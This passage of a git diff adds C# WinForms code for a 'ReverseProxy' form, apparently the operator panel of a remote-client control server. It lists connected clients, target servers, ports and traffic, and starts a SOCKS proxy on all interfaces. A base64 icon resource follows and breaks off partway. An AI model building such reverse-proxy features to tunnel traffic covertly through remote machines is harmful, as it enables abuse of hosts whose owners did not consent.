public Clients plugin; + public Clients parrent; + public ReverseProxyServer _socksServer; + private static readonly string[] Sizes = new string[6] + { + "B", + "KB", + "MB", + "GB", + "TB", + "PB" + }; + private IContainer components; + private MetroLabel metroLabel1; + private MetroTextBox metroTextBox1; + public MetroGrid metroGrid1; + public Timer timer1; + public Timer CheckProxyConnecting; + public MetroCheckBox metroCheckBox1; + public MetroButton metroButton1; + + public FormReverseProxy() => this.InitializeComponent(); + + private void FormReverseProxy_Load(object sender, EventArgs e) + { + this._socksServer = new ReverseProxyServer(this); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this._socksServer != null) + this._socksServer.Stop(); + if (this.plugin == null) + return; + this.plugin.Disconnected(); + }); + DataGridViewColumnCollection columns1 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn1.HeaderText = "ClientIP"; + viewTextBoxColumn1.MinimumWidth = 120; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn2.HeaderText = "Target Server"; + viewTextBoxColumn2.MinimumWidth = 120; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn3.HeaderText = "Target Port"; + viewTextBoxColumn3.MinimumWidth = 120; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn4.HeaderText = "Total Recived"; + viewTextBoxColumn4.MinimumWidth = 120; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + DataGridViewColumnCollection columns5 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn5.HeaderText = "Total Sent"; + viewTextBoxColumn5.MinimumWidth = 120; + columns5.Add((DataGridViewColumn) viewTextBoxColumn5); + DataGridViewColumnCollection columns6 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn6 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn6.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn6.HeaderText = "Proxy Type"; + viewTextBoxColumn6.MinimumWidth = 120; + columns6.Add((DataGridViewColumn) viewTextBoxColumn6); + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroGrid1.Theme = Customs.customs.Theme; + this.metroTextBox1.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.Refresh(); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroGrid1.Style = Customs.customs.Style; + this.metroTextBox1.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + } + int num = 0; + foreach (object openForm in (ReadOnlyCollectionBase) Application.OpenForms) + { + if (openForm is FormReverseProxy) + ++num; + } + this.metroTextBox1.Text = (4680 + num).ToString(); + } + + public string GetHumanReadableFileSize(long size) + { + double num = (double) size; + int index; + for (index = 0; num >= 1024.0 && index + 1 < FormReverseProxy.Sizes.Length; num /= 1024.0) + ++index; + return $"{num:0.##} {FormReverseProxy.Sizes[index]}"; + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.plugin == null) + return; + if (this.metroButton1.Text == "Start") + { + this._socksServer.StartServer("0.0.0.0", Convert.ToUInt16(this.metroTextBox1.Text)); + this.metroButton1.Text = "Stop"; + } + else + { + this._socksServer.Stop(); + this.metroButton1.Text = "Start"; + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.plugin.Connect && this.parrent.Connect) + return; + this.Close(); + } + + public ReverseProxyClient[] ClientsAll() + { + lock (this.metroGrid1) + { + List reverseProxyClientList = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.metroGrid1.Rows) + reverseProxyClientList.Add((ReverseProxyClient) row.Tag); + return reverseProxyClientList.ToArray(); + } + } + + private void CheckProxyConnecting_Tick(object sender, EventArgs e) + { + foreach (ReverseProxyClient reverseProxyClient in this.ClientsAll()) + { + if (!reverseProxyClient.IsConnected) + this.metroGrid1.Rows.Remove(reverseProxyClient.LV); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormReverseProxy)); + this.metroLabel1 = new MetroLabel(); + this.metroButton1 = new MetroButton(); + this.metroTextBox1 = new MetroTextBox(); + this.metroGrid1 = new MetroGrid(); + this.timer1 = new Timer(this.components); + this.CheckProxyConnecting = new Timer(this.components); + this.metroCheckBox1 = new MetroCheckBox(); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.SuspendLayout(); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(118, 63 /*0x3F*/); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(91, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 7; + this.metroLabel1.Text = "<- port listing"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroButton1.Location = new Point(23, 92); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(89, 23); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 6; + this.metroButton1.Text = "Start"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.metroTextBox1.CustomButton.Image = (Image) null; + this.metroTextBox1.CustomButton.Location = new Point(67, 1); + this.metroTextBox1.CustomButton.Name = ""; + this.metroTextBox1.CustomButton.Size = new Size(21, 21); + this.metroTextBox1.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox1.CustomButton.TabIndex = 1; + this.metroTextBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox1.CustomButton.UseSelectable = true; + this.metroTextBox1.CustomButton.Visible = false; + this.metroTextBox1.Lines = new string[1]{ "4680" }; + this.metroTextBox1.Location = new Point(23, 63 /*0x3F*/); + this.metroTextBox1.MaxLength = (int) short.MaxValue; + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.PasswordChar = char.MinValue; + this.metroTextBox1.ScrollBars = ScrollBars.None; + this.metroTextBox1.SelectedText = ""; + this.metroTextBox1.SelectionLength = 0; + this.metroTextBox1.SelectionStart = 0; + this.metroTextBox1.ShortcutsEnabled = true; + this.metroTextBox1.Size = new Size(89, 23); + this.metroTextBox1.Style = MetroColorStyle.Lime; + this.metroTextBox1.TabIndex = 5; + this.metroTextBox1.Text = "4680"; + this.metroTextBox1.Theme = MetroThemeStyle.Dark; + this.metroTextBox1.UseSelectable = true; + this.metroTextBox1.UseStyleColors = true; + this.metroTextBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(23, 121); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.Size = new Size(754, 306); + this.metroGrid1.Style = MetroColorStyle.Lime; + this.metroGrid1.TabIndex = 13; + this.metroGrid1.Theme = MetroThemeStyle.Dark; + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.CheckProxyConnecting.Interval = 5000; + this.CheckProxyConnecting.Tick += new EventHandler(this.CheckProxyConnecting_Tick); + this.metroCheckBox1.AutoSize = true; + this.metroCheckBox1.Checked = true; + this.metroCheckBox1.CheckState = CheckState.Checked; + this.metroCheckBox1.Location = new Point(133, 92); + this.metroCheckBox1.Name = "metroCheckBox1"; + this.metroCheckBox1.Size = new Size(76, 15); + this.metroCheckBox1.Style = MetroColorStyle.Lime; + this.metroCheckBox1.TabIndex = 14; + this.metroCheckBox1.Text = "Auto Start"; + this.metroCheckBox1.Theme = MetroThemeStyle.Dark; + this.metroCheckBox1.UseSelectable = true; + this.metroCheckBox1.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(800, 450); + this.Controls.Add((Control) this.metroCheckBox1); + this.Controls.Add((Control) this.metroGrid1); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.metroTextBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormReverseProxy); + this.Style = MetroColorStyle.Lime; + this.Text = "ReverseProxy"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormReverseProxy_Load); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormReverseProxy.resx b/Server/Server/Forms/FormReverseProxy.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormReverseProxy.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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